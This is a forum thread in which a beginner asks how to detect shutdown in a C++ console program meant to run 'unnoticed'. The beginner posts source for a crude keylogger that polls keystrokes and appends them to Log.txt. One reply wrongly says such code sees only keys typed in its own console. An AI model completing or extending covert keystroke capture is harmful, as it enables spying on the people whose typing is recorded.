Re: C++ Detect power down.
Re: C++ Detect power down.
If you mean the windowless like the black box then yes it is windowless. (I didn't want to deal with the black box all the time. ) If you mean windowless as in have a pop up come up then i don't want any pop ups or anything, i just want it to be unnoticed.
Re: C++ Detect power down.
I mean: does your application main thread create any window (hidden or minimized) or it is just a console application?
If there is a window that it should receive the system messages like WM_QUERYENDSESSION, WM_ENDSESSION...
Re: C++ Detect power down.
its just a console application. if it would help i could post the code for you, its small and kinda crappy but i just started 4 days ago.
Re: C++ Detect power down.
You'll need to write either a windowed app so you have a means to handle WM_QUERYENDSESSION etc like VictorN mentioned.
Or you will need to write this as a proper service. You can then handle service start/stop requests.
Note that the WM_QUERYENDSESSION messages are for logoff, not for reboot of the machine, this may or may not be relevant to your needs.
Re: C++ Detect power down.
ok heres the code, try and see what you can do to make it log the keys when you turn off the computer. (just like the f8 key) also i dont really know what the hwnd "pie" part does, so feel free to fix that aswell. :
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int main()
{
int Char;
string letter;
ofstream log;
log.open("Log.txt", ios::app);
while(!GetAsyncKeyState(VK_F8))
{
for(Char = 65; Char < 90; Char++)
{
if(GetAsyncKeyState(Char) == -32767)
{
letter+=Char;
}
}
if(GetAsyncKeyState(VK_SPACE)==-32767)
{
letter+=" ";
}
if(GetAsyncKeyState(VK_BACK)==-32767)
{
letter+="[BACKSPACE]";
}
{
HWND hWnd;
hWnd = FindWindow (0, "pie");
if (hWnd != 0);
}
}
log << letter;
log.close();
return 0;
}
Re: C++ Detect power down.
You can't "log" keys for anything other than your console app. Doing anything outside of the console window will not result in anything in your app.
while you can detect keys outside of your own app via a global hook (not the easiest of things)
that still doesn't cover mouse actions that cause a logoff. You can hook those as wel (not easiest of things). But that still won't help you to detect that a logoff is about to happen with any realistically useful accuracy.
looking at yoru code and what you're lookign at doing, I think you're way over year head trying to make something you're not even at all ready for. I'd suggest working some simpler , more straightforward projects first.